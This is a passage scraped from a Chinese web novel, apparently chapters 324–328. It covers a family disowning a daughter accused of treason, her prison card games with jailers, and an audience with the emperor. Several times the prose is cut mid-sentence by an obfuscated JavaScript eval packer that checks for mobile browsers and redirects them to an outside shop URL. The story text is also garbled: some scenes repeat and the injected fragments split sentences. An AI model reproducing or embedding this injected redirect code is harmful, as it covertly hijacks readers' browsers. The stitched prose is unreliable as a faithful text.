钱玉明疼得浑身抽搐,一张脸煞白如纸,他像疯了一样,却也说不清到底是谁干的。只是嘴里反复念叨着,这事儿跟晏清萦脱不了干系,是晏清萦那个**害他! 韦氏听了这话,更是怒火中烧。她不愧是钱玉明的亲妈,这护犊子的心思简直如出一辙。 钱玉明平日里游手好闲,坏事做绝,如今落得这个下场,纯粹是自作自受。可韦氏却立马把所有罪过都推到了晏清萦头上。 母子两个想到一块儿去了,都恨不得生啖了晏清萦的血肉,以泄心头之恨。 不光是她,就连钱老夫人都觉得这事儿是晏清萦的错。 在他们心里,要不是晏清萦故意勾引,欲擒故纵,钱玉明也不至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591166|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于一时糊涂,险些铸成大错。更不至于落得个**的下场。 赵家小辈里,就钱玉明这么一个男丁。如今他成了这副模样,这下黑手的人,分明是想让他们赵家绝后啊! 找不到罪魁祸首,赵家人便将满腔的怒火,都倾泻到了无辜的晏清萦身上。 他们恶狠狠地谋划着,要把晏清萦弄进赵家,让她求生不得,求死不能。 偏偏这会儿,钱雅芝却不识抬举。 还想着让赵家三书六聘? 做梦! 韦氏啐了一口,指甲刮了刮桌面,发出刺耳的声响。 “我说,”韦氏抬眼,翻了个白眼,“你们家那三姑娘,算什么东西?还真把自己当根葱了?” 钱雅芝冷眼瞧着韦氏,眼底一片冰寒。 “大嫂这话,光跟我说可没用,”钱雅芝的声音冷冷的,不带一丝温度,“你得去跟阿萦的父亲说。他要是乐意把阿萦送给你们家做妾,我自然没二话。” 她脸色本就苍白,此刻更是气得发青,胸口剧烈起伏着。 其实,钱雅芝巴不得晏清萦倒霉。 可她不能落下话柄。 韦氏冷笑: “你家那庶出的,能给我们玉儿做妾都是抬举她了!” “还想三书六聘?她也配!”韦氏猛地拔高了声音,像只被踩了尾巴的猫,“你还真以为你们庄家是什么香饽饽?我告诉你,你们家大难临头了!” 韦氏的唾沫星子几乎要喷到钱雅芝脸上。 “你那个好女儿晏清澜,干出那种丑事,皇上震怒!你们庄家,一个都跑不了!” “要不是看在玉儿的面子上,我才懒得来这一趟!”韦氏双手叉腰,气势汹汹,“我呸!等抄家的圣旨下来,我看你还怎么跟我横!” 钱雅芝气得浑身发抖,嘴唇都有些发白。 她颤巍巍地伸手指着韦氏,指尖不住地颤抖,半晌说不出话来。 “你……你血口喷人!” “我血口喷人?”韦氏像是听到了什么天大的笑话,“你也不打听打听,现在外面都传成什么样了!” 她往前走了几步,逼近钱雅芝,声音压得极低,却像毒蛇吐信,让人不寒而栗: “我劝你,还是赶紧想想怎么保住你们庄家那几个女儿吧! 第三百二十四章 儿子是别想了,女儿嘛,兴许还能留条命……” 钱雅芝只觉得一股寒气从脚底直窜头顶。 “你给我住口!马上给我滚出去!”她尖叫着,声音嘶哑。 “滚?”韦氏冷笑着,目光在屋内扫视一圈,最后落在一个青瓷花瓶上。她走过去,一把将花瓶摔在地上。 “哐当”一声巨响,碎片四溅。 “你现在跟我摆什么官太太的架子?”韦氏双手叉腰,十足的泼妇模样,“我告诉你,我今天来,就是要带走晏清萦那个小**的!” “你们庄家,以后我可不稀罕再来了!”韦氏恶狠狠地说,“不过,我可把丑话说在前头,下次再来的,可就不是我了,是官差!” 晏玥玥急匆匆地跑了进来,手里端着一碗药。 她一进门,就看见韦氏正对着钱雅芝大呼小叫,而钱雅芝脸色惨白,摇摇欲坠。 “你在这儿发什么疯!”晏玥玥厉声呵斥,几步上前,扶住钱雅芝,“娘,您怎么样?药来了,您先喝药。” 她小心地扶着钱雅芝坐下,将药碗送到钱雅芝唇边。 钱雅芝就着晏玥玥的手,喝了几口药,脸色稍稍缓和了一些。 晏玥玥这才转头,怒视着韦氏。 “大舅母,你是不是忘了自己的身份?这里是苏府,不是你们赵家撒野的地方!” “皇上都没发话呢,你就敢断言我们要被抄家?我看你是活腻歪了!” “平日里见你对长辈还算恭敬,今天倒是让我开了眼!” 晏玥玥一番话,说得又快又急,像连珠炮似的。 她心里对晏清澜的手段是有些不齿,但在外人面前,晏玥玥可不会落了庄家的面子。 韦氏被晏玥玥这番话噎得脸色铁青。 “你个小丫头片子,懂什么!”韦氏色厉内荏,“你那个四姐姐,犯的可是谋逆的大罪!你们庄家,迟早要完!” 晏玥玥冷笑一声,打断了韦氏的话: “四姐姐?哪来的四姐姐?您可别乱认亲戚!” “镇国大将军早就认了义女,跟我们庄家可没关系!”晏玥玥说着,轻轻拍了拍钱雅芝的背,“娘,您说是吧?咱们庄家,可从来没有什么四姑娘。” 钱雅芝愣了一下,随即反应过来。 对! 没有四姑娘! 庄家跟晏清澜,早就没关系了! 钱雅芝猛地抬起头,看着韦氏,一字一顿地说: “没错,我们庄家,只有三个姑娘!大姑娘,三姑娘,六姑娘!至于你说的那个什么四姑娘,早就跟我们庄家没关系了!” “我跟老爷,早就跟那个不孝女断绝关系了!族谱上,也早就没她的名字了!” 钱雅芝越说越激动,声音也越来越大。 她现在就要让人把这个消息传出去。 传得越快越好,越广越好! 从前她还要脸,干不出这种事情。 可现在,整个庄家都要被晏清澜那个丧门星给毁了! 她还顾得上什么脸面? 只要能保住庄家,她什么都顾不上了! 没有四姑娘! 从来就没有! 钱雅芝在心里一遍又一遍地对自己说,仿佛这样,就能把这件事变成真的。 韦氏愣住了。 她没想到,这母女俩竟然会来这么一出。“够了!” 韦氏猛地一拍桌子,尖利的声音像针一样扎进人的耳膜。杯盏都震得跳了几跳。 她霍地站起身,死死盯着晏玥玥和钱雅芝, “你们以为这样就能撇清干系?别做梦了!” 韦氏嘴角扯出一抹扭曲的笑, “大祸临头了还不知道,真是一家子蠢货!” 晏玥玥最受不了韦氏这副高高在上的嘴脸,她“腾”地一下站起来,却被钱雅芝按住。 “跟她废什么话。”钱雅芝冷冷地瞥了韦氏一眼,“钱玉明那个没用的东西,还不是你惯出来的?有什么资格在我们面前指手画脚!” 晏玥玥深吸一口气,压下心头的火气。从前敬着韦氏是长辈,如今撕破了脸,只觉得无比厌烦。 “这事就不劳您费心了。”钱雅芝的声音冷得像冰碴子,“来人,送客!” 几个膀大腰圆的婆子立刻上前,也不管韦氏如何挣扎,直接把她架了出去。 “你们……你们给我等着!”韦氏的尖叫声在院子里回荡,像极了某种夜行动物的哀嚎。 打发了韦氏,钱雅芝一刻也没耽搁。 她甚至都来不及和晏明远商量,就直接让人放出消息:庄家与晏清澜早已恩断义绝,从此再无瓜葛! 晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591167|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明远得到消息的时候,木已成舟。 他没有像往常一样斥责钱雅芝的擅作主张,只是疲惫地揉了揉眉心。 良久,晏明远才缓缓开口,声音里透着一股深深的无力: “事到如今,这是维护庄府声誉的唯一出路了。” 他顿了顿,语气中带着一丝难以察觉的怨恨: “她一向自视甚高,眼里何曾有过庄家?断了关系也好,免得被她拖下水,整个家族都不得安宁!” 晏明远心里,陆家永远都比不上庄家,偏偏晏清澜不识好歹! 既然她一心向着陆家,那就让她和陆家一起**吧! 苏府,绝不能沾染上这等祸事! 晏明远连夜把族里的几个老家伙都请了过来。 他原本以为,要把晏清澜的名字从族谱上划掉,还要费一番口舌。 毕竟,晏清澜以前在族里人缘不错,那些老家伙没少得她的好处。 可没想到的是,这些族老们似乎早就等着这一天,一个个都捻着胡须,慢悠悠地点头,没有一个人提出反对意见。 屋子里静得只能听见炭火燃烧的“噼啪”声。 就连一向最疼爱晏清澜的晏老夫人,也只是抬眼看了看晏明远和钱雅芝。 她的眼神空洞而疲惫,像是一潭死水,激不起半点波澜。 晏老夫人嘴唇动了动,似乎想说什么,最终却只是无力地叹了口气。 那一声叹息,像是用尽了她全身的力气。 “随你们的意吧……我老了,什么都管不了了。” 她缓缓闭上眼睛,仿佛不愿再看这世间的纷扰。 于是,晏清澜就这么被庄家彻底放弃了。 像一件破旧的衣裳,被毫不留恋地丢掉。 消息传出去后,京城里炸开了锅,说什么的都有。 有人拍手称快,都说庄家处理得妥当,大难临头各自飞,明哲保身才是王道。 也有人义愤填膺,大骂庄家冷血无情,落井下石, 更有人将晏明远平日里那些标榜“忠君爱国”、“秉节持重”的言论翻出来, 一条条地驳斥,骂他虚伪至极。 “……他晏明远要真这么有骨气,就该和晏清澜一起**!” “放屁!一家老小的性命,能跟一个已经出嫁的女儿比? 第三百二十五章 他要真这么做了,那才是蠢到家了!” “可皇上还没下旨呢!你们怎么知道晏清澜一定是谋逆?我看你们就是嫉妒人家!” “哟,听你这话,晏清澜是你亲爹啊?这么护着她?” “放屁!晏清澜要是我亲爹,那你不得叫她爷爷?你个乱认祖宗的龟孙!” “你**再说一遍!老子今天不打死你,我就不姓王!” “来啊!谁怕谁!孙子,尝尝你爷爷的铁拳!” …… 叫骂声、厮打声混成一片, 茶馆酒肆里, 唾沫星子横飞, 甚至还动起了手,现场乱成一锅粥。 晏清澜刚回京时,用银子砸出了一条路,确实收买了不少人心。 可后来她对庄家人的态度,也让不少人粉转黑,觉得她忘恩负义。 而此时,身处风暴中心的晏清澜,正四仰八叉地躺在牢房里。 她怀里抱着个汤婆子,手里捧着一杯热气腾腾的牛乳百瑞香,小口小口地啜着。 面前的小桌上,各色珍馐美味堆得满满当当: 碧霄楼的酱肘子还冒着热气, 御膳房的清蒸鲈鱼散发着诱人的鲜香, 还有各色精致的点心、新鲜的水果…… 这阵仗,哪像是坐牢,简直比在家还舒坦。 几个狱卒守在一旁, 鼻子不是鼻子, 眼睛不是眼睛的。 这大半夜的, 满屋子都是食物的香气, 这不是审犯人, 这是来折磨他们这些苦哈哈的狱卒啊! 晏清澜啃完了一只蟹腿,满足地打了个饱嗝。 她抬眼看了看那几个眼巴巴望着自己的狱卒,笑眯眯地开了口: “几位大哥,要不要一起吃点?这么多,这么多我自己消化不了。” 她指了指桌上的美食,笑容甜得能腻**。 几个狱卒互相交换了个眼神,都有些犹豫。 他们是吃过见过的主儿, 什么山珍海味没尝过? 可这大半夜的,谁受得了这个! “这……真的可以吗?”高个子狱卒还是没忍住,问了一句。 他口水都快流下来了。 “当然可以!” 晏清澜用力点了点头, “这么多,这么多我自己消化不了。浪费了多可惜!” 大胡子狱卒是个爽快人,他一拍大腿, “管他呢!先吃了再说!” 于是,几个人七手八脚地搬来一张桌子,几把椅子,和晏清澜拼成了一桌。 晏清澜端起那杯加了牛乳的百瑞香,轻轻晃了晃, “就知道吃也太无趣了,几位大哥,玩点什么助助兴?” “玩什么?”大胡子狱卒眼睛一亮,“掷骰子怎么样?” 晏清澜摇摇头, “骰子有什么好玩的,咱们玩点新鲜的。” 她从怀里摸出一副纸牌, “来来来,教你们玩个新花样,保证你们没玩过!” 几个狱卒顿时来了兴致,纷纷凑了过来。 “这叫‘斗地主’,三个人玩,一副牌……” 晏清澜一边洗牌,一边给他们讲解规则。 几个狱卒都是聪明人,一学就会。 “……谁先出完牌谁就赢,输了的喝酒!” 晏清澜笑眯眯地补充了一句。 “没问题!”大胡子狱卒拍着胸脯保证,“咱们这儿,什么都缺,就是不缺酒!” 他朝身后一招手,几个小狱卒立刻搬来几坛子酒。 “先温上,”瘦高个儿的狱卒提醒了一句,“这鬼天气,喝冷酒容易闹肚子。” “还是这位大哥心细!” 晏清澜朝他竖了个大拇指。 酒过三巡,菜过五味。 几个人都有些上头了。 晏清澜一边摸牌,斜眼扫了扫隔壁牢房, “几位大哥,旁边那间牢房里关的是什么人啊?怎么一直没动静?”“我说,你们几个,差不多得了啊!别光顾着自己喝!” 大胡子狱卒猛地一拍桌子,震得酒碗叮当作响,他晃了晃手中的空碗,醉眼朦胧地朝旁边一指。 “旁边那间,还有一位呢!给咱也送点儿!” 晏清澜眼皮微不可察地一跳,心虚地摸了摸鼻子,脸上却堆起“关切”的笑容,顺着大胡子的手势望去。 “旁边那间关的是谁啊?听这动静,关的还是个‘大人物’?”她装作不经意地问道,手指轻轻摩挲着酒杯边缘。 “嗨,啥大人物!”大胡子不屑地撇撇嘴,打了个响亮的酒嗝,一股浓烈的酒气扑面而来。 “就是一个刺杀八皇子的,失败了,关进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16597980|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来三年了。” 晏清澜故作惊讶地睁大了眼睛,长长地“啊”了一声,似乎被这个消息震惊到了。 “刺杀八皇子?这可是掉脑袋的大罪啊!”她顿了顿,又像是自言自语般补充道,“我之前也遇到过刺客行刺八皇子,不过八皇子殿下洪福齐天,倒是那些刺客没落着好。这位关了三年……想来是受了不少苦。” 她一边说着,一边用余光扫视着周围几个狱卒的反应,试图从他们的表情中捕捉到更多信息。 几个狱卒纷纷点头,脸上露出或惋惜、或敬佩的神情,七嘴八舌地议论着: “可不是嘛!什么招都用过了,他就是不开口!” “是个硬骨头,真汉子!”其中一个狱卒竖起了大拇指。 “嘿,你们瞧他现在老老实实坐着,衣服底下,”另一个狱卒压低声音,用手比划着,“可没一块好肉了!都是血淋淋的伤口!” 大胡子摆了摆手,一副不愿多提的样子,眉头紧锁,似乎想起了什么不愉快的事情。 “算了算了,不提他,扫兴!来,妹子,咱继续!”他举起酒碗,朝晏清澜示意,试图转移话题。 晏清澜乖巧地点点头,强压下心中的思绪,笑容甜美,又夹起一块排骨,同时竖起耳朵,仔细听着骰盅里骰子碰撞的声音,似乎又回到了之前的游戏中。 “我押小!”她清脆的声音在喧闹的牢房里格外清晰。 “妹子运气好,我跟你,押小!”大胡子毫不犹豫地跟上。 “哼,我就不信邪,押大!”另一个狱卒不服气地嚷嚷道。 “开!开!开!……小!哈哈,妹子,真有你的!”大胡子兴奋地大笑起来,猛地一拍大腿,震得桌上的碗碟都跳了起来。 “晏四姑娘,你这手气,不去赌坊可惜了!” 旁边有人起哄附和,语气中带着几分夸张和戏谑: “可不是!就这运气,哪个赌坊敢让她进啊?还不得把庄家底裤都赢没了!” 晏清澜故作羞涩地笑了笑,连连摆手,脸上泛起淡淡的红晕,似乎有些不好意思。 “哎呀,大哥们过奖了,我这就是瞎蒙,瞎蒙的。”她谦虚地说道。 “来来来,继续,继续!”她一边说着,一边用眼神示意大胡子继续摇骰盅。 眼睛微微一转,笑容愈发甜美,声音也更加轻柔: “这回,我还押小! 第三百二十六章 ” “跟了!”大胡子想都没想,直接把手中的酒碗重重地放在桌上。 “我就不信这个邪……”另一个狱卒嘟囔着,还是选择了押大。 “开!……又是小!邪门了!” 一片喧闹声中,晏清澜放下筷子,轻轻揉了揉手腕,像是玩得有些累了。她抬起头,目光扫过在场的每一个人,语气突然变得严肃起来: “几位大哥,玩骰子多没意思,不如,咱们来玩个更刺激的?” 几个狱卒都被她这突如其来的转变弄得一愣,纷纷停下了手中的动作,疑惑地看向她。 大胡子更是直接问道:“妹子,你想玩什么?” 晏清澜神秘一笑,从怀里摸出一副纸牌,轻轻地放在桌上: “不如,咱们来玩牌?我这里有一副‘玄机牌’,玩法特别,保证你们没见过!” 几个狱卒的好奇心都被勾了起来,纷纷凑上前来,想看看这“玄机牌”到底有什么玄机。 晏清澜一边洗牌,一边给他们讲解规则,这纸牌的玩法,自然是她胡诌出来的,但为了引人入局,她故意说得玄乎其玄。 几个狱卒听得云里雾里,但越是听不懂,就越是觉得这纸牌厉害,一个个摩拳擦掌,跃跃欲试。 “……谁先出完牌谁就赢,输了的,就得回答赢家一个问题,怎么样?”晏清澜笑眯眯地补充道,眼中闪过一丝狡黠的光芒。 “没问题!”大胡子拍着胸脯保证,“咱们这儿,什么都缺,就是不缺八卦!” 他朝身后一招手,几个小狱卒立刻搬来几坛子酒,准备在一旁伺候着。 “先温上,”瘦高个儿的狱卒提醒了一句,“这鬼天气,喝冷酒容易闹肚子。” “还是这位大哥心细!” 晏清澜朝他竖了个大拇指。 酒过三巡,牌局也进行了几轮。 晏清澜看似随意地打着牌,实则一直在暗中观察着几个狱卒的反应,她发现,每当自己问起一些关键问题时,几个狱卒的表情都会变得有些不自然。 她心中冷笑,看来,这几个狱卒果然知道些什么。 又一轮牌局结束,晏清澜“幸运”地赢了。她放下手中的牌,笑眯眯地看向大胡子: “大胡子大哥,我先前进来的时候,瞧见一人浑身是血,肩胛骨被贯穿,还吊着锁链,怪吓人的……那人到底怎么了?” 她故意把问题说得很笼统,没有直接问那人犯了什么罪,而是问“怎么了”,就是为了让大胡子自己说出更多信息。 大胡子陷入沉思,似乎没想到晏清澜会问这个问题,他挠了挠头,支支吾吾地说道: “他啊……他就是个疯子!胡言乱语,污蔑朝廷命官……” “污蔑谁了?”晏清澜追问道,语气中带着一丝不易察觉的急切。 “都察院的……两位御史……”大胡子含糊不清地说道,眼神闪躲,似乎不想多说。 “原来如此。”晏清澜点了点头,没有继续追问,而是话锋一转,说道:“我看那人疯得厉害,怕是问不出什么了,不如给他请个大夫,说不定还有救。” “请大夫?”几个狱卒都愣住了,他们面面相觑,似乎没想到晏清澜会提出这样的建议。 “这……这不合规矩吧?”大胡子犹豫着说道。 “有什么不合规矩的?”晏清澜反问道,“难道你们就忍心看着一条人命活活疯死?” “可是……” “别可是了!”晏清澜打断了大胡子的话,语气坚定地说道,“人命关天,救人要紧!你们要是不敢,我去跟燕王殿下说!” 几个狱卒一听“燕王殿下”四个字,顿时都怂了,他们可不敢得罪童玄珏。 “别别别,晏四姑娘,我们去,我们去还不行吗?”大胡子连忙说道,生怕晏清澜真的去找童玄珏告状。 “这还差不多。”晏清澜满意地点了点头。 “几位大哥,实不相瞒,燕王殿下……对我颇为照顾,说起来,我在王府这些时日,倒也听说了不少秘辛,” 她顿了顿,故作神秘地压低了声音。 几个狱卒一听,顿时竖起了耳朵,一个个八卦之心熊熊燃烧。 “我听说,燕王殿下最讨厌的,就是那些贪赃枉法、欺上瞒下的官员……”晏清澜一边说着,一边观察着几个狱卒的反应。 “你们想想,那人污蔑都察院的两位御史,这事儿要是真的,燕王殿下会怎么做?” 几个狱卒面面相觑,都从对方眼中看到了震惊和恐惧。 他们终于明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16597981|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白,晏清澜为什么要给那个疯子请大夫了,原来,她是想借这件事,来试探燕王殿下的态度! 如果燕王殿下真的对那两个御史不满,那他们…… 几个狱卒越想越害怕,再也不敢隐瞒,连忙把他们知道的事情,一五一十地告诉了晏清澜。 晏清澜听完之后,心中冷笑,果然不出她所料,这一切,都是那两个御史在背后搞鬼! 她强压下心中的怒火,脸上却依然保持着甜美的笑容: “几位大哥,多谢你们告诉我这些,不过,这件事,你们可千万别说出去,不然,我怕你们会有麻烦。” “放心吧,晏四姑娘,我们绝对不会说出去的!”几个狱卒连忙保证。 “嗯,我相信你们。”晏清澜点了点头,然后站起身来,伸了个懒腰: “时候不早了,我也该回去了,几位大哥,咱们改天再玩!” 说完,她便转身朝牢房门口走去。 几个狱卒连忙起身相送,一直把晏清澜送到门口,还依依不舍地说道: “晏四姑娘,您慢走,有空常来玩啊!” 晏清澜笑着点了点头,然后头也不回地离开了。 就在她转身的那一刹那,脸上的笑容瞬间消失,取而代之的,是一片冰冷的寒意。 牢房门口,宋明澜和宋溪溪提着食盒,焦急地等待着。看到晏清澜出来,连忙迎了上去。 “小姐,您没事吧?”宋溪溪关切地问道。 “我没事。”晏清澜摇了摇头,然后接过宋明澜手中的食盒,朝大牢深处走去。牢房里,桌上满满当当摆了一桌子菜,旁边还温着酒壶,酒香混着菜香,热气腾腾。 宋明澜和宋溪溪的目光在晏清澜和这桌饭菜之间来回打转,最后齐刷刷落在晏清澜脸上,那眼神,像是要把她看出个洞来。 “……” 六目相对,空气突然安静。 这种诡异的沉默,让人浑身不自在。 宋溪溪把手里的食盒往宋明澜怀里一塞,“啪”的一声,硬挤出一个笑。 她从袖子里掏啊掏,掏出一袋银子,递给旁边那位从刚才起就一直没挪开过视线的狱卒头头: “大哥,通融一下,我们跟阿清姐姐说几句话,就几句,体己话。 第三百二十七章 ” 她咬重了“体己话”三个字,还朝狱卒头头抛了个媚眼。 狱卒们得了银子,掂了掂,笑得眼睛都眯成了一条缝,忙不迭地退了出去,还“顺手”关上了牢门。 人一走,宋溪溪就绷不住了,扑过去抓住晏清澜的手,声音都带了哭腔: “阿清姐姐,你冷不冷?他们没打你吧?疼不疼?” 她一边问,一边紧张兮兮地检查晏清澜身上有没有伤。 “外面都传遍了,说你……下毒害皇上,这到底咋回事啊?” 宋溪溪急得眼泪都快下来了: “童玄珏那个冷面阎王,他咋能这样对你?他是不是有病!” 宋明澜抱着食盒,眉头拧成了疙瘩,虽然没说话,但同样一脸焦急地等着晏清澜开口。 “那些屁话,我一个字都不信!” 宋明澜把食盒往桌上一放,语气硬邦邦的: “肯定是有人陷害你!阿清,你别怕,双亲早已入宫觐见,他们肯定能救你出来!” 晏清澜看着这两个急得团团转的小伙伴,心里暖暖的。 她轻轻拍了拍宋溪溪的手,笑了笑: “没事,你们别担心,皇上过一会儿就醒了,到时候,啥都清楚了。” 她顿了顿,看着他们,突然想起一件事: “对了,爹和娘咋突然进宫了?童玄珏……他没告诉你们吗?” 她记得,自己特意嘱咐过童玄珏,让他跟陆家说一声,别让他们瞎操心。 可现在看来,陆家压根儿就不知道。 宋明澜一脸懵,挠了挠头:“告诉我们?告诉我们啥?” 宋溪溪也摇了摇头,眼神里满是不解:“阿清姐姐,你和燕王殿下……是不是有啥事儿瞒着我们?” 晏清澜的眉头微微皱了起来,童玄珏这家伙,葫芦里到底卖的什么药? “没事,你们两个先回去吧,我真没事。” 晏清澜尽量让自己的语气听起来轻松点。 宋明澜是绝对相信晏清澜的,他相信晏清澜不可能干出那种事。 他点点头,见晏清澜确实没事,这才松了口气。 宋溪溪也稍微放了心,但还是有点不高兴。 晏清澜看出来了,轻声问: “溪溪,咋啦?还有啥事儿不开心?” 宋溪溪撇了撇嘴,和宋明澜对视一眼。这事儿,他们本来不想告诉晏清澜,怕她难受。 但现在,宋溪溪实在忍不住了。 她替晏清澜委屈,声音都气得发抖: “阿清姐姐,庄家那群王八蛋……太过分了!他们竟然说跟你断绝关系,还把你从族谱上给划拉掉了!” 宋溪溪越说越气,脸都红了: “这群见风使舵的玩意儿!我真是……气死我了!” 晏清澜一愣,随即,眼睛里竟然闪过一丝惊喜。 这可真是太好了! 她早就料到庄家会落井下石,但没想到他们竟然这么“雷厉风行”,直接断绝关系,这可省了她不少事! 晏清澜赶紧摸了摸宋溪溪的头,安抚道: “好了好了,别气了,为这种人生气犯不上。跟他们断绝关系正好,以后就不用跟他们扯不清了。” 宋溪溪还是气鼓鼓的,她咬着牙说: “哼,他们早晚得遭报应!” 晏清澜笑了笑,目光在牢房里扫了一圈,最后落在宋溪溪气呼呼的小脸上: “不用等太久,这天……快了。” 她收回视线,看着宋明澜和宋溪溪: “你们两个先回去吧,放心,我保证,今晚一定平平安安地回家。” …… 几乎就在宋明澜和宋溪溪离开的同时,一阵冷风裹挟着童玄珏的身影进了牢房。他依旧披着那件标志性的狐皮大氅,整个人散发着生人勿近的寒气。 他瞥了一眼桌上没动过的骰盅,眉头几不可察地皱了皱,但并没有说什么,只是揉了揉眉心,声音低沉而疲惫:“人醒了,走吧,饵撒的差不多,鱼儿也该上钩了。” 晏清澜简单收拾了一下,起身走到童玄珏身边。 两人沉默着走出了牢房。 外面,一辆马车早已等候多时,装饰并不张扬,但处处透着精致。 二人共乘一辆华丽的马车。车夫一扬鞭,马车缓缓启动,马车直奔金碧辉煌的宫殿。 景元帝身边的太监总管,早就等在了宫门口。 马车停稳,两人刚一下车,那太监总管就满脸堆笑地迎了上来,捏着嗓子说道: “哎哟,总算把二位给盼来了!殿下,庄姑娘,这边走,皇上在长乐宫等着呢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602563|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说着,他便躬身在前引路。 晏清澜和童玄珏不紧不慢地走着。 长乐宫内,景元帝已经让所有人都退下了。 晏清澜刚要行礼,景元帝便抬手制止了。 他的目光落在晏清澜身上,深邃的眼眸中带着一丝审视: “丫头,这次辛苦你了,先给朕把个脉吧。朕要知道,这毒,还要多久才能清干净。” 晏清澜上前,搭上景元帝的手腕。 与上次在长乐宫匆匆一瞥不同,这次,晏清澜诊脉诊得格外仔细。 她不仅细细感受着景元帝脉象的变化,还时不时地观察着他的脸色、舌苔。 良久,晏清澜才收回手,微微一笑: “陛下脉象沉稳有力,虽有余毒未清,但已无大碍。只需再按方服药半月,便可痊愈。” 这半个月,不仅仅是用来清除余毒的,更是为了迷惑那些下毒之人,让他们放松警惕,露出马脚。 晏清澜心中了然,景元帝看似龙体康健,实则早已被这**侵蚀了许久。若非她及时发现,恐怕再过些时日,景元帝便会一病不起,甚至…… 想到这里,晏清澜的眼中闪过一丝寒光。 竟然有人敢对皇帝下毒,这背后,究竟隐藏着怎样的阴谋?这平静的皇宫,平静的朝堂,究竟还隐藏着多少不为人知的秘密? 童玄珏站在一旁,静静地看着这一切,眼底一片幽深。 景元帝的脸色依旧冷峻,但眼底却翻涌着怒意。 晏清澜知道,这场戏,已经不仅仅是为了揪出下毒的真凶,更是为了整顿朝纲,清除异己。 她轻轻呼出一口气,将那些复杂的思绪暂时压下。 水已经搅浑了,鱼儿也开始冒头了,接下来,就看谁的手段更高明了。 景元帝看着晏清澜,缓缓说道: “你为朕诊病,又陪朕演了这场戏,功劳不小,有什么好处想要,尽管开口。” 这已经是景元帝第二次这样问她了。 上一次,她刚回京城,还只是个名不见经传的小丫头。 晏清澜垂下眼眸,淡淡一笑: “臣女不敢居功,能为陛下分忧,是臣女的本分。至于赏赐……臣女现在,什么也不缺。” “什么也不缺”这几个字,晏清澜说得意味深长。 第三百二十八章 的确,这场戏从头到尾,都是景元帝和童玄珏一手策划的。 她不过是顺水推舟,做了自己该做的事情。 那日,她并非在长乐宫“恰好”遇到景元帝**。 而是童玄珏提前告知了她,景元帝身体有异,可能会在长乐宫召见她。 至于那所谓的“解毒丸”,其实是她早就准备好的,以备不时之需。 只不过,这次“恰好”用上了而已。 景元帝深深地看了晏清澜一眼,似乎想要看穿她内心深处的想法。 他不得不承认,厉宗玉收养的这个义女,的确不简单。“再想想。” 景元帝端起茶盏,指腹摩挲着杯沿,语气和缓,眼神却带着不容抗拒的威压。 “总归是有你想要的。” 晏清澜低垂着眼睫,遮掩住眸中一闪而逝的冷意。她想要的可太多了,但眼前的帝王,未必舍得给。 她要那些害了陆家的人,一个一个,都付出代价。 首当其冲的,就是当朝二皇子,韩承煜。 眼下,景元帝能答应她吗?怕是不行。 一旁,始终沉默品茶的童玄珏,似是随意地抬眼,目光在景元帝脸上轻轻一扫。 他搁下青瓷茶盏,修长手指在桌上有节奏地轻叩,唇角勾起一抹若有若无的笑。 “小姑娘家,平日里少与外人走动,不清楚也是有的。一时想不起来,也无妨。” 他顿了顿,语气听不出情绪。 “不如这样,陛下赏她一道免死金牌,再允她两个要求,陛下看如何?” “金银玉器,到底是俗物,远不如免死金牌和陛下的承诺来得珍贵。” 景元帝眼中精芒一闪,目光在童玄珏脸上停了一瞬,心中暗自思忖。 